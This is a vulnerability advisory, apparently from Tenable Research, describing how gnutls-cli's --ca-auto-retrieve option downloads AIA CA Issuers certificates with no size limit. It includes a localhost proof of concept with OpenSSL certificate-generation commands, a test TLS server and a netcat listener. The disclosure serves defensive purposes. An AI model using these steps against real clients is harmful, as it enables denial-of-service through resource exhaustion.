gnutls-cli Lack of Size Restriction on X.509 AIA CA Issuers Certificate

Tenable Research has identified that gnutls-cli does not restrict the size of the X.509 certificate it fetches using the information from AIA CA Issuers.

The typical X.509 certificate chains the web servers are configured to use consist of a leaf (or end-entity) certificate, and one or more intermediate certificates. During the TLS handshake initiated by the TLS client, the TLS server sends its chain consisting of the leaf and the intermediate certificates. A TLS client can then validate if the certificate path leads to a trusted root certificate. Different implementations typically place limits on the maximum size of the certificates, often between 32-256 KB, to prevent Denial of Service attacks.

However, the leaf certificate presented by the server to the client may contain the Authority Information Access (AIA) extension with the information found in the AIA field called CA Issuers. It would point at the location from where the TLS client can obtain the parent (intermediate) certificate. In such a case the server can be configured not to send a chain, but only the leaf certificate. In other words, a TLS client would be expected to act on the content of the leaf certificate and download the parent certificate, before it can validate that the leaf certificate is legitimate. AIA is covered in RFC 5280, section 4.2.2.1. Not all TLS clients offer support for AIA CA Issuers.

gnutls-cli offers a --ca-auto-retrieve option, which enables the tool to automatically retrieve the missing intermediate certificates using the AIA CA Issuers information. Tenable Research identified that certificates retrieved this way are not subject to typical size restrictions. More specifically, certificates with a malicious size of as much as approx. 200 MB were retrieved.

Proof of Concept: 

1. The attacker prepares a config file including the following snippet:

cat openssl-ca.cfg

[ server ]

keyUsage                = critical,digitalSignature,keyEncipherment,keyAgreement

extendedKeyUsage        = serverAuth

basicConstraints        = critical,CA:FALSE

subjectKeyIdentifier    = hash

authorityKeyIdentifier  = keyid:always

authorityInfoAccess     = caIssuers;URI:http://localhost/cert.der

2. The attacker generates a server certificate using the above config file and a pre-existing parent certificate with its corresponding private key:

openssl req -new -key server-key.pem -out server.csr -subj "/CN=localhost" -addext "subjectAltName = DNS:localhost, IP:127.0.0.1"

openssl x509 -req -CA root-cert.pem -CAkey root-key.pem -CAcreateserial -in server.csr -out server-cert.pem -days 365 -extfile openssl-ca.cfg -extensions server -copy_extensions copyall

The parent certificate can be self-signed and could have been also generated by the attacker beforehand.

Relevant certificate content:

openssl x509 -text -noout -in server-cert.pem

[...]

            Authority Information Access: 

                CA Issuers - URI:http://localhost/cert.der

[...]

Please note that in a real scenario, the Subject, Subject Alternative Names and the AIA CA Issuers information would be different, and the target server would be a remote one, not localhost.

3. The attacker configures a TLS server of their choice using the generated server certificate:

openssl s_server -key server-key.pem -cert server-cert.pem -www -port 4433

4. The attacker serves another, maliciously oversized certificate in a different location, pointed to by the AIA CA Issuers from the leaf certificate. For the purpose of this PoC, the oversized certificate won’t actually be served. Instead, netcat will be used to confirm that gnutls-cli followed the AIA CA Issuers information:

sudo nc -l 80 -k

5. Victim connects to the server:

gnutls-cli --ca-auto-retrieve --port 4433 localhost

[...]

Connecting to '127.0.0.1:4433'...

- Certificate type: X.509

- Got a certificate list of 1 certificates.

[...]

Connecting to caIssuer server: localhost...

Resolving 'localhost:80'...

Connecting to '127.0.0.1:80'...

6. The following netcat logs demonstrate that gnutls-cli attempted to download the certificate:

GET /cert.der HTTP/1.0

Host: localhost

Accept: */*

Connection: close

This attack can lead to uncontrolled resource consumption.